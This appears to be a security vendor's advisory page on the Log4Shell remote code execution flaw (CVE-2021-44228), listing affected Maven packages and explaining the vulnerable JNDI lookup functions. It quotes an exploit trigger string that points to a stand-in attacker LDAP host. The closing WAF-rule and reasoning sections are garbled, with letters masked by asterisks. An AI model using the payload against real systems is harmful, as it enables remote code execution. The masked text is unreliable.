Miggo Logo

CVE-2021-44228:
Remote code injection in Log4j

10

CVSS Score

Basic Information

EPSS Score
-
Published
12/10/2021
Updated
5/9/2025
KEV Status
No
Technology
TechnologyJava

Technical Details

CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Package NameEcosystemVulnerable VersionsFirst Patched Version
org.apache.logging.log4j:log4j-coremaven>= 2.13.0, < 2.15.02.15.0
org.apache.logging.log4j:log4j-coremaven>= 2.4, < 2.12.22.12.2
com.guicedee.services:log4j-coremaven<= 1.2.1.2-jre17
org.xbib.elasticsearch:log4jmaven= 6.3.2.1
uk.co.nichesolutions.logging.log4j:log4j-coremaven= 2.6.3-CUSTOM
org.apache.logging.log4j:log4j-coremaven>= 2.0-beta9, < 2.3.12.3.1
org.ops4j.pax.logging:pax-logging-log4j2maven>= 1.8.0, < 1.9.21.9.2
org.ops4j.pax.logging:pax-logging-log4j2maven>= 1.10.0, < 1.10.81.10.8
org.ops4j.pax.logging:pax-logging-log4j2maven>= 1.11.0, < 1.11.101.11.10
org.ops4j.pax.logging:pax-logging-log4j2maven>= 2.0.0, < 2.0.112.0.11

Vulnerability Intelligence
Miggo AIMiggo AI

Miggo AIRoot Cause Analysis

The Log4j RCE vulnerability (Log4Shell) is caused by the improper handling of JNDI lookups in log messages. The vulnerability is triggered when a malicious string, such as ${jndi:ldap://attacker.com/a}, is logged. The org.apache.logging.log4j.core.lookup.JndiLookup.lookup function is the initial entry point that processes these lookups. This function then calls org.apache.logging.log4j.core.net.JndiManager.lookup, which is responsible for performing the actual JNDI lookup. The JndiManager.lookup function was vulnerable because it did not properly sanitize or restrict the JNDI lookups, allowing it to connect to malicious LDAP servers and execute arbitrary code. The patch for this vulnerability introduced several restrictions in the JndiManager.lookup function, including whitelisting allowed protocols, hosts, and classes, thus mitigating the RCE risk.

Vulnerable functions

org.apache.logging.log4j.core.lookup.JndiLookup.lookup
log4j-core/src/main/java/org/apache/logging/log4j/core/lookup/JndiLookup.java
This function is the entry point for the JNDI lookup feature. When a log message contains a string like `${jndi:ldap://example.com/a}`, this `lookup` method is called. It then passes the JNDI name to the `JndiManager` for resolution, which can lead to RCE if the JNDI name points to a malicious LDAP server.
org.apache.logging.log4j.core.net.JndiManager.lookup
log4j-core/src/main/java/org/apache/logging/log4j/core/net/JndiManager.java
This function performs the actual JNDI lookup. Before the patch, it did not validate the provided JNDI name, allowing it to connect to arbitrary LDAP servers and deserialize untrusted data. This is the core of the RCE vulnerability. The patch added checks to restrict the allowed hosts, protocols, and classes that can be used in JNDI lookups.

WAF Protection Rules

WAF Rule

# Summ*ry Lo**j v*rsions prior to *.**.* *r* su*j**t to * r*mot* *o** *x**ution vuln*r**ility vi* t** l**p JN*I p*rs*r. *s p*r [*p****'s Lo**j s**urity *ui**](*ttps://lo**in*.*p****.or*/lo**j/*.x/s**urity.*tml): *p**** Lo**j* <=*.**.* JN*I ***tur*s

Reasoning

T** Lo**j R** vuln*r**ility (Lo**S**ll) is **us** *y t** improp*r **n*lin* o* JN*I lookups in lo* m*ss***s. T** vuln*r**ility is tri***r** w**n * m*li*ious strin*, su** *s `${jn*i:l**p://*tt**k*r.*om/*}`, is lo****. T** `or*.*p****.lo**in*.lo**j.*or*